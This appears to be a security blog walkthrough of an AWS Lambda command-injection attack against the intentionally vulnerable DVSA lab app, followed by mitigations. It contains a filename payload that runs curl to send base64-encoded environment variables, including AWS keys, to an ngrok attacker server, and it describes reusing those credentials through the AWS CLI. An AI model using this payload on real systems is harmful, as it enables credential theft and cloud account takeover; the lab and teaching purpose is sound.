AWS Lambda Command Injection

Introduction

What is Serverless Architecture?

A serverless architecture is a way to build and run applications and services without having to manage infrastructure. Your application still runs on servers, but all the server management is done by Cloud Service Providers. You no longer have to provision, scale, and maintain servers to run your applications, databases, and storage systems.

Why use serverless architectures?

By using a serverless architecture, your developers can focus on their core product instead of worrying about managing and operating servers or runtimes, either in the cloud or on-premises. This reduced overhead lets developers reclaim time and energy that can be spent on developing great products which scale and that are reliable.

Here is a link to the AWS Whitepaper on how to implement Serverless Architecture using AWS provided Services like AWS Lambda, AWS API Gatewa, AWS DynamoDB. [Link]

What Is a Lambda Function?

Lambda is a compute service that lets you run code without provisioning or managing servers. Lambda runs your code on a high-availability compute infrastructure and performs all of the administration of the compute resources, including server and operating system maintenance, capacity provisioning and automatic scaling, code monitoring and logging. With Lambda, you can run code for virtually any type of application or backend service. All you need to do is supply your code in one of the languages that Lambda Supports. You can find More details here [link].

OWASP Serverless Top 10

Our friends at OWASP have released a list of Top 10 High severity vulnerabilities stated as below.

If you are interested in attending a live Serverless Architecture Vulnerabilities Conference due in in month of June here is the link [Link].

Attack Vectors

Attack vectors for injections in traditional applications are usually referred to any location where the input to the application can be controlled or manipulated by the attacker. However, in serverless applications the attack surface increases.

Since serverless functions can also be triggered from different events sources like cloud storage events (S3, Blob and other cloud storage), Stream data processing (e.g. AWS Kinesis), databases changes (e.g. DynamoDB, CosmosDB), code modifications (e.g. AWS CodeCommit) notifications (e.g. SMS, Emails, IoT) and more, we should no longer consider input coming directly from the API calls as the sole attack surface.

Moreover, we no longer have control of the line between the origin to the resource. If a function is triggered via email or a database, there is nowhere to put a Firewall or any other control that will validate the event.

Impact

The impact of a successful injection attack will lean on the permission the vulnerable function has. If the function has been assigned a role that grants it liberal access to a cloud storage, then injected code could delete data, upload corrupted data, etc. If the function has been granted access to a database table, it could delete records, insert records, etc. Roles that allow creating users and permissions can eventually lead into a cloud account takeover.

CVE ID: CVE-2019-10777
Severity: – High
CVSS Score V3: 9.8
CVSS Vector – CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Demo

So, In this blog we will be exploiting Event Injection vulnerability.
To demonstrate the exploitation of this vulnerability we would require a vulnerable application. Our friends at Protego Labs and OWASP have deployed Serverless Applications in the AWS Serverless repository the links for which can be found below

DVSA Damn Vulnerable Serverless Application
Serverless-goat-Java

Setting up the Serverless Application

1. Visit the link DVSA Link above and Click on the Deploy button

2. Now on following page delete the default email ID provided and enter an email ID that you control (@gmail, @outlook, @icloud.com)

3. Now Click on the Deploy button below to start the deployment process of the application which happens automatically using the cloud-formation stack template.’

4. After Deployment is complete navigate to the CloudFormation service through AWS Console.

5. Now select the application that you just deployed.

6. Then navigate to the Outputs tab to get the Application URL so that you can access the deployed serverless application over internet

7. Finally access the application over browser.

Breach Scenario

We will be attacking DVSA Application in particular today. The below diagram showcases the attack vector comparison between traditional application and modern-day serverlesss application architecture.

Attack Demonstration

After enumerating the application using with burp-suite in the background we found out that the application has a Feedback Form that accepts a file which is then uploaded to an s3 bucket. Since the application is serverless and deployed over AWS our best guess is that it will utilize a Lambda Function to parse the filename and its contents.
We tried to upload a normal file to check whether the functionality works fine. From the Exhibit below it can be seen that the application functionality is working.
Now we would like to upload a file with a filename that contains our exploit payload follows:Order.png;curl http://eea3-103-212-146-0.ngrok.io?$(env | base64 -wrap-0); echo.pdf
1. After our actual file-name we enter a command line delimiter “ ; ” so that the command line thinks that there is another command left to be executed.
2. As an attacker we make the backend command line execute a curl request to our remote server hosted on ngrok.
3. We also request the the backend linux environment to print out the environment variables of the machine executing the lambda code in runtime and encode the result in base64 and send it to our remote server
Remote Server setup.
1. Install ngrok using the following command on your kali/linux instance
  1. snap install ngrok
2. Now create an account on ngrok web application [link].
3. Navigate to the Your AuthToken section from side menu and copy the value of your AuthToken on clipboard
5. Now in your terminal execute the following command to add the AuthToken in your config file.
  1. ngrok config add-authtoken (Auth-Token)
Now its time to upload our malicious file.
Click on “Send Feedback ” button and observe on your remote server the attacker receives a base64 encoded data.
Decoding the base64 encoded data it can be observer that the attacker was successful in retrieving the Amazin Account environment variables.
Now its time to get the juicy stuff out of the AWS Account. As the attacker got hold of the session token and the AWS_ACCESS_KEY and AWS_SECRET_KEY. We Can configure the credentials in our host machine to access the resources using AWS CLI
AWS CLI Configuration
Upon configuring the attacker now can access the contents of the account under the same privileges that the Lambda function was running.
1. Listing all buckets Data
Enumerate what privilege does the current AWS Session has. From the exhibit below it can be seen the current session has root privileges i.e. all in scope permission for the AWS account.

Mitigation

Upgrade your lambda function runtime to latest version as Amazon AMI Linux 2 does not have the curl utility installed as a binary package.
Never trust, pass or make any assumptions regarding input and its validity from any resource
Use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs)
Use positive or “whitelist” input validation when possible
Identify trusted sources and resources and whitelist them, if possible
For any residual dynamic queries, escape special characters using the specific escape syntax for that interpreter
Run functions with the least privileges required to perform the task to reduce attack surface

References

Events

Oct 25, 2024